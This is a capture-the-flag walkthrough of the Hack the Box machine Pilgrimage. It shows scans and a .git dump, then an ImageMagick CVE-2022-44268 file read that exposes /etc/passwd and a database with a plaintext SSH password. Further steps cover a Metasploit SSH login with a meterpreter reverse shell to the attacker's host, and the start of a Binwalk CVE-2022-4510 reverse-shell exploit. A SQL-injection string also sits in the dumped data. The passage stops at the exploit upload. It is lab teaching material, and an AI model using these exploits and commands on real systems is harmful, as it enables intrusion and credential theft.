Hack the Box: Pilgrimage Walkthrough

Walkthroughs, Hack the Box, Information Security

Machine Stats

Name
Pilgrimage

binwalk, CVE-2022-44268, CVE-2022-4510, git, http, ImageMagick, linux, metasploit, ssh

OS
Linux

Rating
Easy

Enumeration

I started by running my standard nmap scan.

nmap -A -T4 -p- 10.10.11.219            
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-15 19:51 EDT
Nmap scan report for 10.10.11.219
Host is up (0.041s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.47 seconds

Seeing the url http://pilgrimage.htb, I edited my hosts file to add an entry for this domain name. I then re-scanned the machine with nmap.

Nmap scan report for pilgrimage.htb (10.10.11.219)
Host is up (0.043s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Pilgrimage - Shrink Your Images
|_http-server-header: nginx/1.18.0
| http-git: 
|   10.10.11.219:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.00 seconds

We can see that there’s an exposed .git repo folder, which is going to be explored after a quick web directory scan. 🙂

└─$ feroxbuster -u http://pilgrimage.htb -k        

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher ????                 ver: 2.10.0
───────────────────────────┬──────────────────────
 ????  Target Url            │ http://pilgrimage.htb
 ????  Threads               │ 50
 ????  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 ????  Status Codes          │ All Status Codes!
 ????  Timeout (secs)        │ 7
 ????  User-Agent            │ feroxbuster/2.10.0
 ????  Config File           │ /etc/feroxbuster/ferox-config.toml
 ????  Extract Links         │ true
 ????  HTTP methods          │ [GET]
 ????  Insecure              │ true
 ????  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 ????  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       11w      153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                               
403      GET        7l        9w      153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                               
301      GET        7l       11w      169c http://pilgrimage.htb/tmp => http://pilgrimage.htb/tmp/
200      GET      178l      395w     5292c http://pilgrimage.htb/assets/js/custom.js
200      GET      171l      403w     6173c http://pilgrimage.htb/register.php
302      GET        0l        0w        0c http://pilgrimage.htb/dashboard.php => http://pilgrimage.htb/login.php
302      GET        0l        0w        0c http://pilgrimage.htb/logout.php => http://pilgrimage.htb/
200      GET       94l      234w     3576c http://pilgrimage.htb/assets/css/custom.css
200      GET      171l      403w     6166c http://pilgrimage.htb/login.php
200      GET        5l       27w     1031c http://pilgrimage.htb/assets/js/popup.js
200      GET      186l      505w     4928c http://pilgrimage.htb/assets/css/owl.css
301      GET        7l       11w      169c http://pilgrimage.htb/assets => http://pilgrimage.htb/assets/
200      GET        7l      942w    60110c http://pilgrimage.htb/vendor/bootstrap/js/bootstrap.min.js
200      GET     2349l     5229w    50334c http://pilgrimage.htb/assets/css/templatemo-woox-travel.css
200      GET       11l      552w    57997c http://pilgrimage.htb/assets/css/animate.css
200      GET        2l     1283w    86927c http://pilgrimage.htb/vendor/jquery/jquery.min.js
301      GET        7l       11w      169c http://pilgrimage.htb/assets/images => http://pilgrimage.htb/assets/images/
200      GET     6805l    11709w   123176c http://pilgrimage.htb/assets/css/fontawesome.css
301      GET        7l       11w      169c http://pilgrimage.htb/assets/js => http://pilgrimage.htb/assets/js/
301      GET        7l       11w      169c http://pilgrimage.htb/assets/css => http://pilgrimage.htb/assets/css/
200      GET       15l     1928w   119998c http://pilgrimage.htb/assets/js/isotope.min.js
200      GET        7l     2223w   194705c http://pilgrimage.htb/vendor/bootstrap/css/bootstrap.min.css
200      GET    16582l    60225w   485937c http://pilgrimage.htb/assets/js/tabs.js
200      GET      198l      494w     7621c http://pilgrimage.htb/
301      GET        7l       11w      169c http://pilgrimage.htb/vendor => http://pilgrimage.htb/vendor/
301      GET        7l       11w      169c http://pilgrimage.htb/vendor/jquery => http://pilgrimage.htb/vendor/jquery/...
...
...

This looks like a pretty standard web application.

After exploring around with BurpSuite a little bit, I registered a user account, and tested the functionality of the application. The user can upload an image file, and then the image is processed and presented back to the user, where they can download the processed file to their local machine. It appears that the image is shrunken down in dimensions. Given my knowledge of web applications, I immediately start to think about ImageMagick being potentially in use, especially given its popularity and relatively high profile vulnerabilities.

User Flag

After doing some messing around with trying to upload non-image malicious files, I started to go back to the .git folder that was discovered previously. I used a tool called git_dumper that I have previously used to download git repo folders out of website directories before.

└─$ python3 git_dumper.py http://pilgrimage.htb/.git/ /tmp/git
[-] Testing http://pilgrimage.htb/.git/HEAD [200]
[-] Testing http://pilgrimage.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://pilgrimage.htb/.gitignore [404]
[-] http://pilgrimage.htb/.gitignore responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/description [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/post-receive.sample [404]
[-] http://pilgrimage.htb/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/post-commit.sample [404]
[-] http://pilgrimage.htb/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/update.sample [200]
[-] Fetching http://pilgrimage.htb/.git/info/exclude [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://pilgrimage.htb/.git/index [200]
[-] Fetching http://pilgrimage.htb/.git/objects/info/packs [404]
[-] http://pilgrimage.htb/.git/objects/info/packs responded with status code 404
[-] Finding refs/
[-] Fetching http://pilgrimage.htb/.git/config [200]
[-] Fetching http://pilgrimage.htb/.git/HEAD [200]
[-] Fetching http://pilgrimage.htb/.git/FETCH_HEAD [404]
[-] http://pilgrimage.htb/.git/FETCH_HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/ORIG_HEAD [404]
[-] http://pilgrimage.htb/.git/ORIG_HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/stash [404]
[-] http://pilgrimage.htb/.git/logs/refs/stash responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/heads/master [200]
[-] Fetching http://pilgrimage.htb/.git/logs/HEAD [200]
[-] Fetching http://pilgrimage.htb/.git/info/refs [404]
[-] http://pilgrimage.htb/.git/info/refs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/remotes/origin/master [404]
[-] http://pilgrimage.htb/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://pilgrimage.htb/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/heads/master [200]
[-] Fetching http://pilgrimage.htb/.git/refs/remotes/origin/HEAD [404]
[-] http://pilgrimage.htb/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/packed-refs [404]
[-] http://pilgrimage.htb/.git/packed-refs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/remotes/origin/master [404]
[-] http://pilgrimage.htb/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/stash [404]
[-] http://pilgrimage.htb/.git/refs/stash responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/wip/wtree/refs/heads/master [404]
[-] http://pilgrimage.htb/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/wip/index/refs/heads/master [404]
[-] http://pilgrimage.htb/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://pilgrimage.htb/.git/objects/2f/9156e434cfa6204c9d48733ee5c0d86a8a4e23 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/e1/a40beebc7035212efdcb15476f9c994e3634a7 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/ff/dbd328a3efc5dad2a97be47e64d341d696576c [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f2/b67ac629e09e9143d201e9e7ba6a83ee02d66e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://pilgrimage.htb/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/objects/b2/15e14bb4766deff4fb926e1aa080834935d348 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/cd/2774e97bfe313f2ec2b8dc8285ec90688c5adb [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c4/3565452792f19d2cf2340266dbecb82f2a0571 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/46/44c40a1f15a1eed9a8455e6ac2a0be29b5bf9e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c2/cbe0c97b6f3117d4ab516b423542e5fe7757bc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/1f/8ddab827030fbc81b7cb4441ec4c9809a48bc1 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/e9/2c0655b5ac3ec2bfbdd015294ddcbe054fb783 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/96/3349e4f7a7a35c8f97043c20190efbe20d159a [200]
[-] Fetching http://pilgrimage.htb/.git/objects/49/cd436cf92cc28645e5a8be4b1973683c95c537 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/6c/965df00a57fd13ad50b5bbe0ae1746cdf6403d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/11/dbdd149e3a657bc59750b35e1136af861a579f [200]
[-] Fetching http://pilgrimage.htb/.git/objects/29/4ee966c8b135ea3e299b7ca49c450e78870b59 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/54/4d28df79fe7e6757328f7ecddf37a9aac17322 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b4/21518638bfb4725d72cc0980d8dcaf6074abe7 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fd/90fe8e067b4e75012c097a088073dd1d3e75a4 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/47/6364752c5fa7ad9aa10f471dc955aac3d3cf34 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c3/27c2362dd4f8eb980f6908c49f8ef014d19568 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c4/18930edec4da46019a1bac06ecb6ec6f7975bb [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8a/62aac3b8e9105766f3873443758b7ddf18d838 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fb/f9e44d80c149c822db0b575dbfdc4625744aa4 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/06/19fc1c747e6278bbd51a30de28b3fcccbd848a [200]
[-] Fetching http://pilgrimage.htb/.git/objects/50/210eb2a1620ef4c4104c16ee7fac16a2c83987 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8e/42bc52e73caeaef5e58ae0d9844579f8e1ae18 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/dc/446514835fe49994e27a1c2cf35c9e45916c71 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/1f/2ef7cfabc9cf1d117d7a88f3a63cadbb40cca3 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b6/c438e8ba16336198c2e62fee337e126257b909 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/2b/95e3c61cd8f7f0b7887a8151207b204d576e14 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fa/175a75d40a7be5c3c5dee79b36f626de328f2e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c2/a4c2fd4e5b2374c6e212d1800097e3b30ff4e2 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/76/a559577d4f759fff6af1249b4a277f352822d5 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/a5/29d883c76f026420aed8dbcbd4c245ed9a7c0b [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f3/e708fd3c3689d0f437b2140e08997dbaff6212 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/36/c734d44fe952682020fd9762ee9329af51848d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/93/ed6c0458c9a366473a6bcb919b1033f16e7a8d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/5f/ec5e0946296a0f09badeb08571519918c3da77 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/88/16d69710c5d2ee58db84afa5691495878f4ee1 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/26/8dbf75d02f0d622ac4ff9e402175eacbbaeddd [200]
[-] Fetching http://pilgrimage.htb/.git/objects/81/703757c43fe30d0f3c6157a1c20f0fea7331fc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8f/155a75593279c9723a1b15e5624a304a174af2 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/98/10e80fba2c826a142e241d0f65a07ee580eaad [200]
[-] Fetching http://pilgrimage.htb/.git/objects/a7/3926e2965989a71725516555bcc1fe2c7d4f9e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/9e/ace5d0e0c82bff5c93695ac485fe52348c855e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/ca/d9dfca08306027b234ddc2166c838de9301487 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/23/1150acdd01bbbef94dfb9da9f79476bfbb16fc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f1/8fa9173e9f7c1b2f30f3d20c4a303e18d88548 [200]
[-] Running git checkout .

I then run a quick git log to view the repo’s commit history, hoping to extract some useful information.

└─$ git log
commit e1a40beebc7035212efdcb15476f9c994e3634a7 (HEAD -> master)
Author: emily <[email protected]>
Date:   Wed Jun 7 20:11:48 2023 +1000

    Pilgrimage image shrinking service initial commit.

We now have a user account known to us. (emily) – we could kick off a bruteforce attack on the open SSH port if we wanted to here.

I decide to see if we can confirm ImageMagick is in play. Browsing to the site’s source code in the git repo, I looked at index.php

...

if($image["toConvert"]) {
 $image->setLocation("/var/www/pilgrimage.htb/tmp");

...

exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);

...

We can see that images that are going to be converted are stuck in the /var/www/pilgrimage.htb/tmp directory, and then ImageMagick (or the binary called magick) is called to resize the image and then stores it in /var/www/pilgrimage.htb/shrunk/

I attempted to run the magick binary inside the git repo folder that we copied off the pilgrimage server, but encountered an exec error. After some troubleshooting, I determined that this was because I was trying to run the application on an M1 Mac. Spinning up a VM on an Intel CPU architecture and running the magick file yielded the following:

./magick -usage

Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
...

In exploit-db, two results came up immediately for this version number: ImageMagick 7.1.0-49 – DoS and ImageMagick 7.1.0-49 – Arbitrary File Read. Because I don’t care about denial of service-ing the box while I work on it… I think I’m going to go with the arbitrary file read. This lead me to a voidz0r/CVE-2022-44268 repo on GitHub. I cloned the repo and ran the cargo run command with /etc/passwd, to try and see if we can read that file.

...
git clone https://github.com/voidz0r/CVE-2022-44268
...
cargo run "/etc/passwd"

└─$ cargo run "/etc/passwd"   
    Updating crates.io index
  Downloaded hex v0.4.3
  Downloaded adler v1.0.2
  Downloaded miniz_oxide v0.6.2
  Downloaded cfg-if v1.0.0
  Downloaded bitflags v1.3.2
  Downloaded crc32fast v1.3.2
  Downloaded png v0.17.7
  Downloaded flate2 v1.0.25
  Downloaded 8 crates (301.4 KB) in 0.47s
   Compiling crc32fast v1.3.2
   Compiling cfg-if v1.0.0
   Compiling adler v1.0.2
   Compiling bitflags v1.3.2
   Compiling hex v0.4.3
   Compiling miniz_oxide v0.6.2
   Compiling flate2 v1.0.25
   Compiling png v0.17.7
   Compiling cve-2022-44268 v0.1.0 (/home/hax/Git/CVE-2022-44268)
    Finished dev [unoptimized + debuginfo] target(s) in 1m 40s
     Running `target/debug/cve-2022-44268 /etc/passwd`

This command generates an image file that we will then upload to the site.

Download the image, and use the identify command.

└─$ identify -verbose 64dc45765c1c8.png 
Image: 64dc45765c1c8.png
  Format: PNG (Portable Network Graphics)
  Geometry: 100x100
  Class: PseudoClass
  Type: palette
  Depth: 1 bits-per-pixel component
  Channel Depths:
    Red:      1 bits
    Green:    1 bits
    Blue:     1 bits
  Channel Statistics:
    Red:
      Minimum:                 65535.00 (1.0000)
      Maximum:                 65535.00 (1.0000)
      Mean:                    65535.00 (1.0000)
      Standard Deviation:          0.00 (0.0000)
    Green:
      Minimum:                     0.00 (0.0000)
      Maximum:                     0.00 (0.0000)
      Mean:                        0.00 (0.0000)
      Standard Deviation:          0.00 (0.0000)
    Blue:
      Minimum:                     0.00 (0.0000)
      Maximum:                     0.00 (0.0000)
      Mean:                        0.00 (0.0000)
      Standard Deviation:          0.00 (0.0000)
  Colors: 2
    0: (255,  0,  0)      red
    1: (255,255,255)      white
  Gamma: 0.45455
  Chromaticity:
    red primary: (0.64,0.33)
    green primary: (0.3,0.6)
    blue primary: (0.15,0.06)
    white point: (0.3127,0.329)
  Filesize: 1.1Ki
  Interlace: No
  Orientation: Unknown
  Background Color: #FEFEFE
  Border Color: #DFDFDF
  Matte Color: #BDBDBD
  Page geometry: 100x100+0+0
  Compose: Over
  Dispose: Undefined
  Iterations: 0
  Compression: Zip
  Png:IHDR.color-type-orig: 3
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  Date:create: 2023-08-16T03:41:42+00:00
  Date:modify: 2023-08-16T03:41:42+00:00
  Date:timestamp: 2023-08-16T03:41:42+00:00
  Signature: c7d03a3453434db9720fd67b559185125d9bdb1fe9c25c182783170e2ba6a8f6
  Tainted: False
  Elapsed Time: 0m:0.001708s
  Pixels Per Second: 5.6Mi

You’ll notice the big chunk of data at the bottom of the output. I placed this into CyberChef with the Recipie “From Hex” – what follows below is the data that returned.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

We now have validation that this vulnerability and proof of concept are legit, and we have also confirmed that the user ’emily” that we saw in the git commit from earlier is in fact a user on this server. So, now what should we do? Well, when I have access with a web application like this I usually think database credentials or connection files. So let’s look- I picked login.php

<?php
session_start();
if(isset($_SESSION['user'])) {
  header("Location: /dashboard.php");
  exit(0);
}
...
  $db = new PDO('sqlite:/var/db/pilgrimage');
  $stmt = $db->prepare("SELECT * FROM users WHERE username = ? and password = ?");
  $stmt->execute(array($username,$password));

  if($stmt->fetchAll()) {
    $_SESSION['user'] = $username;
...

Ok, there we go- /var/db/pilgrimage looks interesting. Going to grab that. I repeated the steps I just outlined for downloading /etc/passd.

└─$ identify -verbose /tmp/64dc48c6504d9.png
Image: /tmp/64dc48c6504d9.png
  Format: PNG (Portable Network Graphics)
  Geometry: 100x100
  Class: PseudoClass
  Type: palette
  Depth: 1 bits-per-pixel component
  Channel Depths:
    Red:      1 bits
    Green:    1 bits
    Blue:     1 bits
  Channel Statistics:
    Red:
      Minimum:                 65535.00 (1.0000)
      Maximum:                 65535.00 (1.0000)
      Mean:                    65535.00 (1.0000)
      Standard Deviation:          0.00 (0.0000)
    Green:
      Minimum:                     0.00 (0.0000)
      Maximum:                     0.00 (0.0000)
      Mean:                        0.00 (0.0000)
      Standard Deviation:          0.00 (0.0000)
    Blue:
      Minimum:                     0.00 (0.0000)
      Maximum:                     0.00 (0.0000)
      Mean:                        0.00 (0.0000)
      Standard Deviation:          0.00 (0.0000)
  Colors: 2
    0: (255,  0,  0)      red
    1: (255,255,255)      white
  Gamma: 0.45455
  Chromaticity:
    red primary: (0.64,0.33)
    green primary: (0.3,0.6)
    blue primary: (0.15,0.06)
    white point: (0.3127,0.329)
  Filesize: 1.1Ki
  Interlace: No
  Orientation: Unknown
  Background Color: #FEFEFE
  Border Color: #DFDFDF
  Matte Color: #BDBDBD
  Page geometry: 100x100+0+0
  Compose: Over
  Dispose: Undefined
  Iterations: 0
  Compression: Zip
  Png:IHDR.color-type-orig: 3
  Png:IHDR.bit-depth-orig: 1
  Raw profile type: 

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  Date:create: 2023-08-16T03:55:50+00:00
  Date:modify: 2023-08-16T03:55:50+00:00
  Date:timestamp: 2023-08-16T03:55:50+00:00
  Signature: c7d03a3453434db9720fd67b559185125d9bdb1fe9c25c182783170e2ba6a8f6
  Tainted: False
  Elapsed Time: 0m:0.001232s
  Pixels Per Second: 7.7Mi

Once cleaned up with CyberChef > Recipie > “From Hex” – we are left with….

SQLite format 3@  gg.K‘øºeÍº8|StableimagesimagesCREATE TABLE images (url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL)+?indexsqlite_autoindex_images_1imagesf+tableusersusersCREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL))=indexsqlite_autoindex_users_1usersÙæÙtesttest-emilyabigchonkyboi123
î÷îtest	emilyv·v?ihttp://pilgrimage.htb/shrunk/64dc45765c1c8.pngimage.pngtestGk'http://pilgrimage.htb/shrunk/64dc3c41004df.jpegcat.php' or 1=1 -- -
šÍš2ihttp://pilgrimage.htb/shrunk/64dc45765c1c8.png2k	http://pilgrimage.htb/shrunk/64dc3c41004df.jpeg

Well, we see the emily user that we know exists on the server. “emilyabigchonkyboi123” it’s a reasonable assumption to make that this might be the user’s password on the server as well. So let’s see if we have credential re-use. I launched metasploit…

msf6 auxiliary(scanner/ssh/ssh_login) > set username emily
username => emily
msf6 auxiliary(scanner/ssh/ssh_login) > set password abigchonkyboi123
password => abigchonkyboi123
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts pilgrimage.htb
rhosts => pilgrimage.htb
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 10.10.11.219:22 - Starting bruteforce
[+] 10.10.11.219:22 - Success: 'emily:abigchonkyboi123' 'uid=1000(emily) gid=1000(emily) groups=1000(emily) Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux '
[*] SSH session 1 opened (10.10.14.11:44361 -> 10.10.11.219:22) at 2023-08-16 00:02:27 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Success. Now I upgrade my session to be able to use meterpreter.

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.14.11:4433 
[*] Sending stage (1017704 bytes) to 10.10.11.219
[*] Meterpreter session 2 opened (10.10.14.11:4433 -> 10.10.11.219:37268) at 2023-08-16 00:03:08 -0400
[*] Command stager progress: 100.00% (773/773 bytes)


msf6 auxiliary(scanner/ssh/ssh_login) > sessions

Active sessions
===============

  Id  Name  Type                   Information           Connection
  --  ----  ----                   -----------           ----------
  1         shell linux            SSH hax @            10.10.14.11:44361 -> 10.10.11.219:22 (10.10.11.219)
  2         meterpreter x86/linux  emily @ 10.10.11.219  10.10.14.11:4433 -> 10.10.11.219:37268 (10.10.11.219)

And now we have user.txt

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > shell
Process 14687 created.
Channel 1 created.

whoami
emily

cat user.txt
5ed*******************47c

Privilege Escalation & Root Flag

In the course of my enumeration once inside the box as the user, I noticed some interesting related finding in linpeas focused around a file called malwarescan.sh

╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes

root         730  0.0  0.0   6816  2316 ?        S    04:26   0:00  _ /bin/bash /usr/sbin/malwarescan.sh

╔══════════╣ .sh files in path
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path                                                                                           
/usr/sbin/malwarescan.sh                                                                                                                                                             
/usr/bin/gettext.sh

I took a look at the file in question.

cat /usr/sbin/malwarescan.sh
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

It looks like the shell script is monitoring the /var/www/pilgrimage.htb/shrunk folder for the creation of a new file. Binwalk is being run on the file to check it against a blacklist. Identical to how I ran the imagemagick binary earlier to get the version number, I will run the binwalk binary now.

emily@pilgrimage:/usr/local/bin$ ./binwalk 

Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk
...

Searching Exploit-DB, I found Binwalk v2.3.2 – Remote Command Execution (RCE), aka CVE-2022-4510. I downloaded the exploit file to my local machine and ran it.

└─$ python3 51249.py /home/hax/Pictures/htp.png 10.10.14.11 4444 

################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################


You can now rename and share binwalk_exploit and start your local netcat listener.

After running the exploit, a file called “binwalk_exploit.png” is created on the attacker’s local filesystem in the same directory that the exploit file is. I upload the binwalk_exploit.png file to the remote system.

meterpreter > upload /tmp/binwalk_exploit.png /tmp/binwalk_exploit.png
